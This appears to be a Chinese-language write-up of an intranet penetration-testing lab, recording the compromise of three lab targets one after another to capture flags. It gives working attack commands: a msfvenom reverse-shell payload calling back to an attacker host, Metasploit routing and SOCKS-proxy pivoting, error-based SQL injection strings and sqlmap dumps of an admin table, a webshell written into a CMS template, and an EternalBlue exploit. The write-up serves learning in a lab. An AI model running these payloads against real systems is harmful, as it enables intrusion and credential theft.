tips:下载靶场后需自行配置网卡,IP等,确保三层内网环境
该靶场从WEB层面进行一层一层渗透到内网,主要就是学个思路,为以后内网渗透打好基础
拓扑图如下:
部分资料摘抄小迪老哥的hhh
渗透测试
Target1:
探针目标-利用WEB漏洞(TP5_RCE)-获取webshell权限-获取Flag-Target2
信息收集:
使用nmap扫描端口
(我这里没有配置拓扑图中的IP,IP自行配置即可)
nmap -sV -p 1-65535 -T4 192.168.153.135
如提示站点未搭建等情况需要在宝塔后台进行配置,环境搭建教程有
访问扫描到的80端口,(public目录)
target1(thinkphp5搭建)
直接上exp或工具(方便快速/介意可自行手工)
自动生成了payload,还有后门连接地址,很贴心,密码也给出来了
上蚁剑连接即可,成功获取到shell+flag
或者使用网上公开的EXP
也很贴心,payload,数据库也跑出来了,而且一键生成文件,很方便
内网横向
直接上MSF,
1.生成MSF后门(IP,端口自行更改)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=your:ip LPORT=1111 -f elf >t1.elf
2.设置监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST your:ip
set LPORT 1111
exploit
将生成的木马使用蚁剑上传上去并且进行执行,权限不够的话chmod+x即可
执行后,可以看到shell已经弹回来了,继续接下来的后续渗透
内网代理
信息收集及配置访问
获取网络接口:run get_local_subnets
查看路由地址:run autoroute -p
添加路由地址:run autoroute -s 192.168.22.0/24
获取网络接口:获取到三个网段
查看路由地址:没添加暂时还没有
添加22网段路由地址:
添加后可以看到路由地址了,添加后可以使用MSFping通22网段了(只基于MSF会话可以通信)
已经添加路由,但是只有返回的这个shell能访问22网段内网靶机;
tips:只基于MSF收到的这个shell可以访问通22网段,请自行理解
现在的会话是session1,是建立在Target1的shell上的,建立路由后可以和22网段进行通信。那么我们想要通过session1用工具去攻击22网段,这个时候该怎么办呢?
(为了解决这种情况,我们可以在本地(msf上有模块可以开代理)开一个代理,通过这个代理给其他人一个端口去连接,然后我们就可以用自己的本机(自己的电脑,不是攻击机kali)去连接kali的端口,这样就能访问192.168.22.129了)
可以使用sock4+proxychains4代理打通内网
background 保存拿到的shell会话,隐藏到后台
use auxiliary/server/socks_proxy
set SRVHOST 0.0.0.0
set SRVPORT 1080
exploit
在linux系统下,可以利用本地的代理接口进行访问
tips:必须修改配置文件,否则接收不到
vim /etc/proxychains4.conf
在文件末尾修改成刚刚的配置信息
直接在kali用nmap对192.168.22.0网段进行扫描是不行的,会显示没有发现
需要加上刚刚配置好的代理文件才能进行扫描
proxychains4 nmap -Pn -sT 192.168.22.0/24
proxychains4 nmap -Pn -sT 192.168.22.129
在windows下可以装个SocksCap64或,Proxifier设置代理
将要使用的工具加入里面就可以了
在浏览器想访问22网段的话,也是很简单的,配置一下网络就好
访问22网段成功,又是一波信息收集
端口扫描后,查看80端口发现八哥CMS
跑一波后台目标、我使用的是dirb/dirsearc
发现robots目录
发现类似后台,访问下试试
成功访问到后台,尝试一波爆破无果后,查看网站源码发现SQL注入点
手工报错注入
index.php?r=vul&keyword=1 ' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='bagecms'),1,32),0x7e),1)--+
爆表名:
index.php?r=vul&keyword=1'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema="bagecms")),0x7e)) --+
最后爆出数据:
md5解密后得到后台账号密码 admin 123qwe
登录后台 http://url/index.php?r=admini/default/index
或者SQLmap跑一波
proxychains4 sqlmap -u “http://192.168.22.129/index.php?r=vul&keyword=1” -p keyword –dbs
proxychains4 sqlmap -u “http://192.168.22.129/index.php?r=vul&keyword=1” -p keyword -D bagecms –tables
proxychains4 sqlmap -u “http://192.168.22.129/index.php?r=vul&keyword=1” -p keyword -D bagecms -T bage_admin –columns
proxychains4 sqlmap -u “http://192.168.22.129/index.php?r=vul&keyword=1” -p keyword -D bagecms -T bage_admin -C username,password –dump
登录后台,拿下flag
发现有内容模板,尝试写入shell
使用AntSword设置代理连接shell,蚁剑自带代理功能
拿到shell后
继续传马在msf拿shell,不过目标是在192.168.22.0网段,主动连我们肯定是连不上的,所以这里需要正向连,msf去连它
生成正向后门
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > 3.elf
msf正向连接
background
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.129
set LPORT 3333
exploit
还是老步骤,信息收集+配置访问
获取网络接口:run get_local_subnets
添加路由地址:run autoroute -s 192.168.33.0/24
查看路由地址:run autoroute -p
继续使用代理扫描33网段
proxychains4 nmap -Pn -sT 192.168.33.33
发现这是开放着445、3389端口的Windows系统 ,尝试使用永恒之蓝试试
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33
options
run
拿到会话后随便执行系统命令了,这里shell乱码,可以输入chcp 65001
修改编码,就好了
shell
net user
搜索flag
cd /
dir /S *flag* /B
type C:\Windows\System32\config\flag.txt
# /B 显示文件夹或文件的名字
# /S 显示指定目录和所有子目录中的文件。
# dir /S /B *flag* 这样写也可以
最后type查看即可
至此,三个flag成功拿下
总结
一、可能是环境没配置好,导致我本机还有kali都能通三台靶机emmmm一直没找到原因,而且网卡都是不通的,想不明白为啥能通(假装他不通吧hhhh)
二、target2打target3的时候没怎么理解透彻正向代理的意思
三、总结下攻击流程,通过IP信息收集端口发现80端口开放ThinkPHP,使用EXP成功拿到Target1的shell,使用MSF生成马子上传到target1的主机上进行执行,kali进行监听,收到会话后开始信息收集路由信息等,并且添加22网段的路由,linux使用自带的代理工具proxychains4进行代理通信,可使用其他工具进行扫描22网段,也可以使用windows的工具proxifier/sockscap进行扫描22网段,通过代理工具扫描22网段IP发现开放80端口,访问是个八哥CMS,扫目录发现robots目录里面发现后台路径,尝试爆破无果,审计网页源码发现提示了注入点,SQLmap或手工跑一波跑出来后台账号密码,进行登录,后台界面发现模板功能点可以写入shell,利用蚁剑进行连接,成功拿下Target2的shell,使用Target2当跳板攻击Target3,使用正向代理进行生成马子,(我个人大概理解的思路是通过MSF获取到的Target2的shell会话继续进行打Target3,)生成正向后门,利用msf正向连接,(个人理解:相当于我们已经拿到了target2的shell,通过2的shell会话生成马子去攻击target3,因为2的会话建立了路由,msf是可以访问到33网段的),信息收集tatget3的信息发现开放445/3389端口,尝试使用ms17010进行直接攻击(还是基于target2的shell会话上进行攻击),通过ms17010成功获取到shell,至此结束
四、不要仅仅局限在msf。的确,后面得学学怎么利用其它工具来打,比如CS,ladon等市面上比较常见的工具
五、主要还是学个思路,为以后内网渗透打好基础,部分还是没有思路emmmm感觉内网的难度比WEB层面要高的多